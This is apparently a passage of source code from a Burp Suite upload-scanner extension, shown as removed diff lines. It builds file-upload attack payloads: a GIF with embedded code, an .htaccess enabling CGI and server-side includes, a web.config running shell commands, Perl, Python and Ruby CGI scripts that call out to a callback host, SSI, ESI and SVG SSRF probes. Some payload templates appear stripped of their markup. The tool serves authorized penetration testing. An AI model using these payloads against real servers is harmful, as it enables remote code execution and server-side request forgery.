- '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' \
- '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'
- start = start.decode("base64")
- end = '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'
- end = end.decode("base64")
- content = start + payload_exact_13_len + end
- expected_download_content = start + expect + end
- title = lang + " code injection" # via GIF Content"
- desc = "Remote command execution through {} payload in GIF image format analogous to https://www.secgeek.net/bookfresh" \
- "-vulnerability/#comment-331 . The server replaced the code {} inside the uploaded image with {}, meaning that " \
- "{} code execution seems possible. This image survives PHP's getimagesize() and imagecreatefromgif(), therefore" \
- " it is likely that in general the part where the payload was injected into the image might survive other " \
- "conversions too.".format(lang, cgi.escape(payload_exact_13_len), expect, lang)
- issue = self._create_issue_template(injector.get_brr(), title, desc, "Certain", "High")
- self.dl_matchers.add(DownloadMatcher(issue, filecontent=expected_download_content))
- self._send_simple(injector, types, basename, content, redownload=True)
-
- def _htaccess(self, injector, burp_colab):
- htaccess = ".htaccess"
- title = ".htaccess upload"
- content = "Options +Indexes +Includes +ExecCGI\n" \
- "AddHandler cgi-script .cgi .pl .py .rb\n" \
- "AddHandler server-parsed .shtml .stm .shtm .html .jpeg .png .mp4\n" \
- "AddOutputFilter INCLUDES .shtml .stm .shtm .html .jpeg .png .mp4\n"
- desc = ".htaccess files can be used to do folder specific configurations in Apache. A filename of {} was " \
- "uploaded with content '{}' and detected that the page later on includes the string 'Index of /'. " \
- "This could mean that the .htaccess we uploaded enabled a directory listing. Additionally it enabled " \
- "server side includes, if you can upload files with a server side include extension they can now be " \
- "executed. ".format(htaccess, content)
- issue = self._create_issue_template(injector.get_brr(), title, desc, "Firm", "Medium")
-
- urrs = self._send_simple(injector, self.HTACCESS_TYPES, htaccess, content, redownload=True, randomize=False)
- # We only need to do this for one, not for all
- urr = urrs[0]
- if urr and urr.download_rr:
- url = FloydsHelpers.u2s(self._helpers.analyzeRequest(urr.download_rr).getUrl().toString())
- try:
- path = urlparse.urlparse(url).path
- except ValueError:
- # Catch https://github.com/modzero/mod0BurpUploadScanner/issues/12
- path = None
- if path:
- path_no_filename = path.rsplit("/", 1)[0] + "/"
- self.dl_matchers.add(DownloadMatcher(issue, filecontent="Index of /", url_content=path_no_filename))
- self._send_get_request(urr.download_rr, path_no_filename, injector.opts.create_log)
-
- if not burp_colab:
- return []
-
- # Interesting way with a web.config file
- return self._htaccess_asp_web_config(injector, burp_colab)
-
- def _htaccess_asp_web_config(self, injector, burp_colab):
- colab_tests = []
-
- one = ''.join(random.sample(string.ascii_letters, 8))
- two = ''.join(random.sample(string.ascii_letters, 8))
- three = ''.join(random.sample(string.ascii_letters, 8))
-
- # create replace list and file that executes all rce commands at once
- replace_list = []
- command_names = []
- commands = ""
- for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab):
- replace_list.append(replace)
- command_names.append(cmd_name)
- commands += 'Set wShell1 = CreateObject("WScript.Shell")\n'
- commands += 'Set cmd1 = wShell1.Exec("{} {}")\n'.format(cmd, server)
-
- content = """
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-""".format(one, two, three, commands)
- expect = one + three + two
-
- basename = "web"
- types = {
- ('', '.config::$DATA', ''),
- ('', '.config', '')
- }
- title = "Web.config RCE"
- base_detail = 'The server executes web.config files that are uploaded, which results in a Remote Command Execution (RCE). ' \
- 'See https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ .'
- detail_download = "A web.config file was uploaded and in the download the ASP concatenation of three variables was " \
- "replaced with {} only.
{} ".format(expect, base_detail)
- detail_colab = "A Burp Collaborator interaction was detected when uploading a web.config file executing {} for a " \
- "burp collaborator URL.
{} " \
- "Interactions:
".format(", ".join(command_names), base_detail)
- issue_download = self._create_issue_template(injector.get_brr(), title, detail_download, "Certain", "High")
- issue_colab = self._create_issue_template(injector.get_brr(), title, detail_colab, "Certain", "High")
- self.dl_matchers.add(DownloadMatcher(issue_download, filecontent=expect))
- # We do not need to call self._send_simple here as in this case the send_collaborator will be sufficient
- colab_tests.extend(self._send_collaborator(injector, burp_colab, types, basename, content, issue_colab,
- redownload=True, replace=replace_list, randomize=False))
-
- return colab_tests
-
- def _cgi(self, injector, burp_colab):
- colab_tests = []
-
- if not burp_colab:
- return []
-
- # Do not forget, for CGI to work, the files have to be executable (chmod +x), which will not be the case
- # for a lot of servers...
- # Therefore additional sleep based payloads would not make sense
-
- rand_a = ''.join(random.sample(string.ascii_letters, 20))
- rand_b = ''.join(random.sample(string.ascii_letters, 20))
- expect = rand_a + rand_b
- # create replace list and file that executes all rce commands at once
- replace_list = []
- command_names = []
- commands = ""
- for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab):
- replace_list.append(replace)
- command_names.append(cmd_name)
- commands += "`{} {}`;\n".format(cmd, server)
-
- # Do NOT print a status header (HTTP/1.0 200 OK) for perl
- content_perl = "#!/usr/bin/env perl\n" \
- "print \"Content-type: text/html\\n\\n\"\n" \
- "{}" \
- "local ($k);\n" \
- "$k = \"{}\";\n" \
- "print $k . \"{}\";".format(commands, rand_a, rand_b)
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Perl"
- title = "Perl code injection"
- base_detail = 'The server executes Perl files that are uploaded, which results in a Remote Command Execution (RCE). '
- detail_download = "A Perl file was uploaded and in the download the code $k = '{}'; print $k . '{}'; was " \
- "replaced with {} only.
{} ".format(rand_a, rand_b, expect, base_detail)
- detail_colab = "A Burp Collaborator interaction was detected when uploading a Perl file executing {} for a " \
- "burp collaborator URL.
{} " \
- "Interactions:
".format(", ".join(command_names), base_detail)
- issue_download = self._create_issue_template(injector.get_brr(), title, detail_download, "Certain", "High")
- issue_colab = self._create_issue_template(injector.get_brr(), title, detail_colab, "Certain", "High")
- self.dl_matchers.add(DownloadMatcher(issue_download, filecontent=expect))
- # We do not need to call self._send_simple here as in this case the send_collaborator will be sufficient
- colab_tests.extend(self._send_collaborator(injector, burp_colab, self.PL_TYPES, basename, content_perl, issue_colab,
- redownload=True, replace=replace_list))
-
-
- rand_a = ''.join(random.sample(string.ascii_letters, 20))
- rand_b = ''.join(random.sample(string.ascii_letters, 20))
- expect = rand_a + rand_b
- # create DNS or IP Collaborator URl
- if burp_colab.is_ip_collaborator:
- python3_url = "http://test.example.org/Python3"
- python2_url = "http://test.example.org/Python2"
- else:
- python3_url = "http://python3.test.example.org/Python3"
- python2_url = "http://python2.test.example.org/Python2"
-
- # Do NOT print a status header (HTTP/1.0 200 OK) for python
- content_python = "#!/usr/bin/env python\n" \
- "import sys\n" \
- "print 'Content-type: text/html\\n\\n'\n" \
- "if sys.version_info >= (3, 0):\n" \
- " import urllib.request\n" \
- " urllib.request.urlopen('{}').read()\n" \
- "else:\n" \
- " import urllib2\n" \
- " urllib2.urlopen('{}').read()\n" \
- "k = '{}'\n" \
- "print k + '{}'".format(python3_url, python2_url, rand_a, rand_b)
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Python"
- title = "Python code injection"
- base_detail = 'The server executes Python files that are uploaded, which results in a Remote Command Execution (RCE). '
- detail_download = "A Python file was uploaded and in the download the code k = '{}'; print k + '{}'; was " \
- "replaced with {} only.
{} ".format(rand_a, rand_b, expect, base_detail)
- detail_colab = "A Burp Collaborator interaction was detected when uploading a Python file executing a GET request for a " \
- "burp collaborator URL.
{} " \
- "Interactions:
".format(base_detail)
- issue_download = self._create_issue_template(injector.get_brr(), title, detail_download, "Certain", "High")
- issue_colab = self._create_issue_template(injector.get_brr(), title, detail_colab, "Certain", "High")
- self.dl_matchers.add(DownloadMatcher(issue_download, filecontent=expect))
- # We do not need to call self._send_simple here as in this case the send_collaborator will be sufficient
- colab_tests.extend(self._send_collaborator(injector, burp_colab, self.PY_TYPES, basename, content_python, issue_colab,
- redownload=True, replace="test.example.org"))
-
-
- rand_a = ''.join(random.sample(string.ascii_letters, 20))
- rand_b = ''.join(random.sample(string.ascii_letters, 20))
- expect = rand_a + rand_b
- # create DNS or IP Collaborator URl
- if burp_colab.is_ip_collaborator:
- ruby_url = "http://test.example.org/Ruby"
- else:
- ruby_url = "http://ruby.test.example.org/Ruby"
- # Do NOT print a status header (HTTP/1.0 200 OK) for ruby
- content_ruby1 = "#!/usr/bin/env ruby\n" \
- "require 'net/http'\n" \
- "puts \"Content-type: text/html\\n\\n\"\n" \
- "url=URI.parse('{}')\n" \
- "req=Net::HTTP::Get.new(url.to_s)\n" \
- "Net::HTTP.start(url.host,url.port){|http|http.request(req)}\n"
- content_ruby2 = "k = \"{}\"\n" \
- "puts k + \"{}\"".format(ruby_url, rand_a, rand_b)
- content_ruby = content_ruby1 + content_ruby2
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "Ruby"
- title = "Ruby code injection"
- base_detail = 'The server executes Ruby files that are uploaded, which results in a Remote Command Execution (RCE). '
- detail_download = "A Ruby file was uploaded and in the download the code k = \"{}\"; puts k + \"{}\"; was " \
- "replaced with {} only.
{} ".format(rand_a, rand_b, expect, base_detail)
- detail_colab = "A Burp Collaborator interaction was detected when uploading a Ruby file executing a GET request for a " \
- "burp collaborator URL.
{} " \
- "Interactions:
".format(base_detail)
- issue_download = self._create_issue_template(injector.get_brr(), title, detail_download, "Certain", "High")
- issue_colab = self._create_issue_template(injector.get_brr(), title, detail_colab, "Certain", "High")
- self.dl_matchers.add(DownloadMatcher(issue_download, filecontent=expect))
- # We do not need to call self._send_simple here as in this case the send_collaborator will be sufficient
- colab_tests.extend(self._send_collaborator(injector, burp_colab, self.RB_TYPES, basename, content_ruby, issue_colab,
- redownload=True, replace="test.example.org"))
-
- # Not going to add as a feature: elf binary .cgi files
- # If those work, then Python or Perl works in most cases too...
-
- return colab_tests
-
- def _ssi_payload(self):
- non_existant_domain = "{}.{}.local".format(str(random.randint(100000, 999999)), str(random.randint(100000, 999999)))
- expect = " can't find " + non_existant_domain
- content = ''
- return content, expect
-
- def _ssi(self, injector, burp_colab):
- issue_name = "SSI injection"
- severity = "High"
- confidence = "Certain"
-
- # Reflected nslookup
- # This might fail if the DNS is responding with default DNS entries, then it won't say "can't find" and the
- # domain but I couldn't come up with anything better for SSI except Burp collaborator payloads and this...
- # At least "can't find" + domain is present in Linux and Windows nslookup output
- main_detail = "A certain string was dectected when uploading and downloading an Server Side Include file with a " \
- "payload that executes commands with nslookup. Therefore arbitrary command execution seems possible. " \
- "Note that if you enabled the .htaccess module as well, this attack might have only succeeded because " \
- "we were already able to upload a .htaccess file that enables SSI. The payload in this attack was: " \
- "
{}
The found string in a response was: " \
- " {}
"
-
- # Reflected nslookup - Simple
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "SsiReflectDnsSimple"
- content, expect = self._ssi_payload()
- detail = main_detail.format(cgi.escape(content), cgi.escape(expect))
- issue = self._create_issue_template(injector.get_brr(), issue_name, detail, confidence, severity)
- self.dl_matchers.add(DownloadMatcher(issue, filecontent=expect))
- self._send_simple(injector, self.SSI_TYPES, basename, content, redownload=True)
-
- # Reflected nslookup - File metadata
- bi = BackdooredFile(injector.opts.get_enabled_file_formats(), self._global_opts.image_exiftool)
- size = (injector.opts.image_width, injector.opts.image_height)
- for payload, expect, name, ext, content in bi.get_files(size, self._ssi_payload):
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "SsiReflectDns" + name
- detail = main_detail + "In this case the payload was injected into a file with metatadata of type {}."
- detail = detail.format(cgi.escape(content), cgi.escape(expect), name)
- issue = self._create_issue_template(injector.get_brr(), issue_name, detail, confidence, severity)
- self.dl_matchers.add(DownloadMatcher(issue, filecontent=expect))
- self._send_simple(injector, self.SSI_TYPES, basename, content, redownload=True)
-
- # TODO: Decide if additional sleep based payloads would make sense, probably rather not
-
- # Burp community edition doesn't have Burp collaborator
- if not burp_colab:
- return []
-
- colab_tests = []
-
- # RCE with Burp collaborator
- base_detail = "A burp collaborator interaction was dectected when uploading an Server Side Include file with a payload that " \
- "executes commands with a burp collaborator URL. Therefore arbitrary command execution seems possible. Note that if " \
- "you enabled the .htaccess module as well, this attack might have only succeeded because we were " \
- "already able to upload a .htaccess file that enables SSI. "
-
- # RCE with Burp collaborator - Simple
- for cmd_name, cmd, server, replace in self._get_rce_interaction_commands(injector, burp_colab):
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "SsiColab" + cmd_name
- content = ''.format(cmd, server)
- detail = "{}A {} payload was used. Interactions:
".format(base_detail, cmd_name)
- issue = self._create_issue_template(injector.get_brr(), issue_name, detail, confidence, severity)
- colab_tests.extend(self._send_collaborator(injector, burp_colab, self.SSI_TYPES, basename,
- content, issue, replace=replace, redownload=True))
-
- # RCE with Burp collaborator - File metadata
- # For SSI backdoored files we only use the first payload type (either nslookup or wget)
- # as otherwise we run into a combinatoric explosion with payload types multiplied with exiftool techniques
- base_desc = 'Remote command execution through SSI payload in Metadata of type {}. The server executed a SSI ' \
- 'Burp Collaborator payload with {} inside the uploaded file. ' \
- ' Interactions:
'
- cmd_name, cmd, server, replace = next(iter(self._get_rce_interaction_commands(injector, burp_colab)))
- ssicolab = SsiPayloadGenerator(burp_colab, cmd, server, replace)
- bi = BackdooredFile(injector.opts.get_enabled_file_formats(), self._global_opts.image_exiftool)
- size = (injector.opts.image_width, injector.opts.image_height)
- for payload, _, name, ext, content in bi.get_files(size, ssicolab.payload_func):
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "SsiBfRce" + name
- desc = base_desc.format(cgi.escape(name), cgi.escape(cmd_name))
- issue = self._create_issue_template(injector.get_brr(), issue_name, base_detail + desc, confidence, severity)
- colab_tests.extend(self._send_collaborator(injector, burp_colab, self.SSI_TYPES, basename,
- content, issue, replace=ssicolab.placeholder, redownload=True))
-
- return colab_tests
-
- def _esi_payload(self):
- one = ''.join(random.sample(string.ascii_letters, 5))
- two = ''.join(random.sample(string.ascii_letters, 5))
- three = ''.join(random.sample(string.ascii_letters, 5))
- content = '{}{}{}'.format(one, two, three)
- expect = '{}{}{}'.format(one, two, three)
- return content, expect
-
- def _esi(self, injector, burp_colab):
- issue_name = "ESI injection"
- severity = "High"
- confidence = "Certain"
-
- # Reflected stripped esi tag
- base_detail = "When uploading an Edge Side Include file with a payload of {}, the server later responded with " \
- "{} only. This means that ESI might be enabled. The payload was an Edge Side Include (ESI) tag, see " \
- "https://gosecure.net/2018/04/03/beyond-xss-edge-side-include-injection/. "
-
- # Reflected stripped esi tag - Simple
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "EsiReflectSimple"
- content, expect = self._esi_payload()
- detail = base_detail.format(cgi.escape(content), cgi.escape(expect))
- issue = self._create_issue_template(injector.get_brr(), issue_name, detail, confidence, severity)
- self.dl_matchers.add(DownloadMatcher(issue, filecontent=expect))
- self._send_simple(injector, self.ESI_TYPES, basename, content, redownload=True)
-
- # Reflected nslookup - File metadata
- bi = BackdooredFile(injector.opts.get_enabled_file_formats(), self._global_opts.image_exiftool)
- size = (injector.opts.image_width, injector.opts.image_height)
- for payload, expect, name, ext, content in bi.get_files(size, self._esi_payload):
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "EsiReflect" + name
- detail = base_detail + "In this case the payload was injected into a file with metatadata of type {}."
- detail = detail.format(cgi.escape(content), cgi.escape(expect), name)
- issue = self._create_issue_template(injector.get_brr(), issue_name, detail, confidence, severity)
- self.dl_matchers.add(DownloadMatcher(issue, filecontent=expect))
- self._send_simple(injector, self.ESI_TYPES, basename, content, redownload=True)
-
- # Burp community edition doesn't have Burp collaborator
- if not burp_colab:
- return []
-
- colab_tests = []
-
- # ESI injection - includes remote URL -> burp collaborator
- # According to feedback on https://github.com/modzero/mod0BurpUploadScanner/issues/11
- # this is unlikely to be successfully triggered
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "EsiColab"
- content = ''.format(BurpExtender.MARKER_COLLAB_URL, BurpExtender.MARKER_CACHE_DEFEAT_URL)
- detail = "A burp collaborator interaction was dectected when uploading an Edge Side Include file with a payload that " \
- "includes a burp collaborator URL. The payload was an Edge Side Include (ESI) tag, see " \
- "https://gosecure.net/2018/04/03/beyond-xss-edge-side-include-injection/. As it is unlikely " \
- "that ESI attacks result in successful Burp Collaborator interactions, this is also likely to " \
- "be a Squid proxy, which is one of the few proxies that support that. Interactions:
"
- issue = self._create_issue_template(injector.get_brr(), issue_name, detail, confidence, severity)
- colab_tests.extend(self._send_collaborator(injector, burp_colab, self.ESI_TYPES, basename,
- content, issue, redownload=True))
-
- # Not doing the metadata file + Burp Collaborator approach here, as that seems to be a waste of requests as explained
- # on https://github.com/modzero/mod0BurpUploadScanner/issues/11
-
- return colab_tests
-
- def _xxe_svg_external_image(self, injector, burp_colab):
- colab_tests = []
- # Burp community edition doesn't have Burp collaborator
- if not burp_colab:
- return colab_tests
- if injector.opts.file_formats['svg'].isSelected():
- root_tag = ''
- text_tag = 'test'
- # The standard file we are going to use for the tests:
- base_svg = root_tag + ''.format(str(injector.opts.image_width),
- str(injector.opts.image_height),
- text_tag)
-
- # First, the SVG specific ones
- # External Image with '.format(BurpExtender.MARKER_COLLAB_URL))
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "SvgXlink"
- name = "XXE/SSRF via SVG" # Xlink
- severity = "High"
- confidence = "Certain"
- detail = "A Burp Colaborator interaction was detected when uploading an SVG image with an Xlink reference " \
- "which contains a burp collaborator URL. This means that Server Side Request Forgery is possible. " \
- 'The payload was . ' + \
- "Usually you will be able to read local files, eg. local pictures. " \
- "Interactions:
".format(BurpExtender.MARKER_COLLAB_URL)
- issue = self._create_issue_template(injector.get_brr(), name, detail, confidence, severity)
- colab_tests.extend(self._send_collaborator(injector, burp_colab, self.SVG_TYPES, basename, content_xlink, issue,
- redownload=True))
-
- # External iFrame according to https://twitter.com/akhilreni_hs/status/1113762867881185281 and
- # https://gist.github.com/akhil-reni/5ed75c28a5406c300597431eafcdae2d
- content_iframe = '' \
- ''.format(str(injector.opts.image_width),
- str(injector.opts.image_height),
- BurpExtender.MARKER_COLLAB_URL)
- basename = BurpExtender.DOWNLOAD_ME + self.FILE_START + "SvgIframe"
- name = "XXE/SSRF via SVG" # Iframe
- severity = "High"
- confidence = "Certain"
- detail = "A Burp Colaborator interaction was detected when uploading an SVG image with an iframe reference " \
- "which contains a burp collaborator URL. This means that Server Side Request Forgery is possible. " \
- 'The payload was